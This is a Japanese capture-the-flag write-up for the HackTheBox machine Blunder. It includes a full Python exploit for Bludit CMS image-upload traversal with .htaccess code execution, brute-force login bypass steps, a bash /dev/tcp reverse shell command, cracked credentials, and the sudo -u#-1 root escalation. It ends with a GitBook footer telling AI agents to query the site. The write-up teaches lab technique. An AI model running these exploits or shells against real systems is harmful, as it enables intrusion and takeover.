> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md). # Blunder HackTheBox攻略記事 Bludit CMS悪用、IPブロック回避（X-Forwarded-Forヘッダー）、ディレクトリトラバーサルによる画像ファイルアップロード（.htaccessの活用）、 {% embed url="" %} {% hint style="warning" %} **スキル:** * Bludit CMSの悪用 * IPブロックの回避（X-Forwarded-Forヘッダー） * ディレクトリトラバーサルによる画像ファイルアップロード（.htaccessを使った操作） * sudo権限の悪用（CVE-2019-14287） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（80）

Nmap によるポートのバージョンスキャン: Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80 10.10.10.191 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

## ポート80（Blunder）:

**ディレクトリスキャン** 使用する **Gobuster** 興味深いディレクトリを見つけるために: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` * 結果: ～の発見 **/admin** ディレクトリ。

**CMSの特定** にアクセスすることで **/admin**、Bludit CMS（バージョン **3.9.2**）が検出されます。

## **Bludit CMSの悪用**

**脆弱性を検索** 使用する `searchsploit` 既知の脆弱性を見つけるために:

#### 検出された脆弱性: **CVE-2019-17240** {% hint style="info" %} このエクスプロイトは、BluditというCMS（コンテンツ管理システム）プラットフォームにおけるブルートフォース攻撃対策の脆弱性を悪用することを目的としています。脆弱性は **CVE-2019-17240**として特定され、Bludit 3.9.2以下のバージョンに実装されたブルートフォース攻撃対策を回避できるようになります。 {% endhint %} `searchsploit -m php/webapps/48942.py` **テキストファイルが見つかりました** Gobusterで追加調査を行います: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html ```

内容: 特定されたユーザー: **fergus**.

### Bluditへのブルートフォース攻撃ユーザー **fergus** が見つかったら、辞書を使ってブルートフォース攻撃を開始します: ```bash python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt ``` ファイルに一致するものは見つかりませんでした **rockyou.txt**. ### **個人用辞書** 使用する **Cewl** Webサイトを基に辞書を生成するには： ```bash cewl -u http://blunder.htb/ -w password.txt ```

カスタム辞書でブルートフォース攻撃を再実行します:

* パスワードが見つかりました: `fergus:RolandDeschain`

## ディレクトリトラバーサルによる画像ファイルアップロードの悪用: 認証後、このCMSは～に対する **ディレクトリトラバーサル** タイプの攻撃に対して脆弱であり、悪意のあるファイルのアップロードを可能にします。 {% embed url="" %} {% hint style="info" %} ダウンロードされるファイルの保存場所は、の値を変更することで指定できます `uuid` そして悪意のある画像を一時フォルダにアップロードします。 {% endhint %} 認証後、を介して新しいエクスプロイトをダウンロードできます `searchsploit` の中に `multiple/webapps/48701.txt`、この脆弱性を悪用する手順が記載されています。

**操作手順**

1. **悪意のあるファイルを作成する** (`evil.png`）にPHPコードを含める: ```bash ``` 2. **状況に合わせてスクリプトを修正する** （被害者のIPアドレス、ユーザー名、パスワードなど）。

3. **エクスプロイトを実行:** 攻撃用Pythonスクリプト： ```python #!/usr/bin/env python3 import requests import re import argparse import random import string import base64 from requests.exceptions import Timeout url = 'http://blunder.htb/admin' # CHANGE ME username = 'fergus' # CHANGE ME password = 'RolandDeschain' # CHANGE ME # msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png # echo -e " evil.png payload = 'evil.png' # CREATE ME #echo "RewriteEngine off" > .htaccess #echo "AddType application/x-httpd-php .png" >> .htaccess payload2 = '.htaccess' # CREATE ME def login(url,username,password): """ 提供された管理者認証情報でログインし、認証後にCookieを取得する """ session = requests.Session() login_page = session.get(url + "/admin/") csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text ).group(1) cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1]) data = {"save":"", "password":password, "tokenCSRF":csrf_token, "username":username} headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer": url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/x-www-form-urlencoded" } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/", data=data, headers=headers, cookies=cookies, allow_redirects = False ) print("cookie: " + cookie) return cookie def get_csrf_token(url,cookie): """ 認証済みセッションからCSRFトークンを取得する """ session = requests.Session() headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":cookie} response = session.get(url + "/admin/dashboard", headers=headers, cookies=cookies ) csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0] print("csrf_token: " + csrf_token) return csrf_token def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False): """ 悪意のある画像ファイルからPHPを実行するために必要なファイルをアップロードする。ペイロードと .htaccess """ session = requests.Session() files= {"images[]": (payload, open(payload, "rb"), "multipart/form-data", {"Content-Type": "image/png", "filename":payload} )} if override_uuid: data = {"uuid": "../../tmp/temp", "tokenCSRF":csrf_token} else: # 脆弱なアプリでは、この行が最初に実行されます: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # ファイル拡張子のチェックがあっても、実際には # .htaccess ファイルのアップロードを妨げることはできません。 data = {"tokenCSRF":csrf_token} headers = {"Origin":url, "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/new-content", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies) print("ペイロードをアップロード中: " + payload) if __name__ == "__main__": cookie = login(url, username, password) token = get_csrf_token(url, cookie) upload_evil_image(url, cookie, token, payload, True) upload_evil_image(url, cookie, token, payload2) ```

4. **悪意のあるファイルにアクセスする**：画像がダウンロードされたら、単に `/bl-content/tmp/temp/evil.png` にアクセスしてコマンドを実行します。

5. **Netcatでポート443を待ち受ける**: ```bash nc -nvlp 443 ``` 5. **リバースシェルを実行する**: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261" ```

**ターミナルセッション管理** : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 権限昇格ファイルを調べると、次のファイルが見つかります `users.php` の中の `databases` ユーザーのハッシュ化された認証情報を含むフォルダ `fergus` および `admin`: `admin:bfcc887f62e36ea019e3295aafb8a3885966e265` `fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

CrackStationを使用してこれらのハッシュの解読を試みると、認識されないようです。

ただし、Webサイトのルートには、同じ設定ファイルを含みつつ、異なる認証情報を持つ、より新しいバージョンのBluditが見つかります:

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

`hugo:Password120`

### user.txtのフラグ:

### sudo権限の悪用（CVE-2019-14287）: sudo権限を調査していると、sudoersファイルに脆弱な設定が見つかりました。 `sudo -l` コマンドを使用すると、すべてのユーザーに対して、 `root` という権限を特定しました。これにより、すべてのユーザーが～を除いて `/bin/bash` コマンド:

{% embed url="" %} この脆弱性は、sudo 1.8.27より前のすべてのバージョンに影響します。今回の場合、sudoのバージョンは1.8.27未満であるため、この脆弱性は悪用可能です。

この脆弱性を悪用するには、次のコマンドを実行するだけです: ```bash sudo -u#-1 /bin/bash ``` このコマンドにより、ユーザーとしてシェルを実行できます `-1`、これはユーザーに対応します `root`.

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.